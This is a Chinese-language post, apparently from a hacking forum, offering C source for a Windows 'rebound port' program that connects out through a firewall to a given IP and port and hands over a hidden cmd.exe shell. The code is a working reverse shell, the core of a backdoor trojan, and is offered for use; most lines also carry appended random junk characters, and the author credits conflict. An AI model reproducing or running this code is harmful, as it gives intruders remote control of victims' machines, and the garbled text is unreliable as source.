这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 f[R~oc5P0
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/* ============================== zkqn>
Rebound port in Windows NT 4W49*Je
By wind,2006/7 ~#P]NWW%.
===============================*/ fI<d&5&g
#include ]91QZ~4a
#include ^Z\"d#A
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#pragma comment(lib,"wsock32.lib") Zo^]y'
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void OutputShell(); !\BM
SOCKET sClient; D:IG;Rsc
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; %I!2dXNFRF
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void main(int argc,char **argv) #639N9a~
{ dS <*DP
WSADATA stWsaData; d+5~^\lV
int nRet; 8HZ+r/j
SOCKADDR_IN stSaiClient,stSaiServer; x H=15JY1W
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if(argc != 3) YAeF*vP
{ );q~TZ[Do
printf("Useage:\n\rRebound DestIP DestPort\n"); .oLV\'HAR
return; W[j,QU
} i'>5vU0?3
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WSAStartup(MAKEWORD(2,2),&stWsaData); [eOv fD
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); dkDPze9l
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stSaiClient.sin_family = AF_INET; L1DH9wiQi
stSaiClient.sin_port = htons(0); 1kvs2
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); #,6T. O
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Ar,n=obG
{ 4*E5@{D
printf("Bind Socket Failed!\n"); fn5-Tnsq*
return; q TN)2G
}
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stSaiServer.sin_family = AF_INET; ]{\M,txo8
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); tk=S4/VWv
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); b8YdONdy
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 3/ }
{ Qr7v^H~E4.
printf("Connect Error!"); XGC\6?L~
return; vDi Opd
} q-_!&kDK"
OutputShell(); ^->S7[N?
} nu-&vX
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void OutputShell() \M._x"
{ ybJ wFZ80
char szBuff[1024]; NT5'U
SECURITY_ATTRIBUTES stSecurityAttributes; t:vBVDkD
OSVERSIONINFO stOsversionInfo; Sx e6&
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; #qDm)zCM
STARTUPINFO stStartupInfo; !d!u{1Y&
char *szShell; XM`
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PROCESS_INFORMATION stProcessInformation; yzzJKucVU:
unsigned long lBytesRead; qnj'*]ysBC
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); =EA:fq
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Yb/*2iWX
stSecurityAttributes.lpSecurityDescriptor = 0; 9`Fw}yAt
stSecurityAttributes.bInheritHandle = TRUE; &TA{US3~
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); : N$-SV
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); r-.@MbBm
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); l$EN7^%w
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "opMS/a"7
stStartupInfo.wShowWindow = SW_HIDE; u{\'/c7G
stStartupInfo.hStdInput = hReadPipe; S5y.H
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; zhFm2
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GetVersionEx(&stOsversionInfo); )=29Hm"
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switch(stOsversionInfo.dwPlatformId) ^rP]B-)
{ +s"6[\H1d
case 1: MsP6C)dz
szShell = "command.com"; Q!U}
break; }$L63;/H
default: }(ORh2Ri
szShell = "cmd.exe"; \I523$a
break; !%('8-x%
} 5ct&fjmR_
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); V8TdtGB.|h
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send(sClient,szMsg,77,0); Xw!\,"{s
while(1) @&WHX#
{ Jut&J]{h
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); u YT$$'S
if(lBytesRead) ` K{k0_{
{ ';/J-l/SE
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); /kkUEo+
send(sClient,szBuff,lBytesRead,0); /YF:WKr2
} c:9n8skE7
else Dpw*m.f
{ 'EAskA]*
lBytesRead=recv(sClient,szBuff,1024,0); Kmx^\vDs
if(lBytesRead<=0) break; g;8 wP5i
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); _J W|3q
} 9iZio3m
} W_Y8)KxG:L
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return; H%>4z3n
}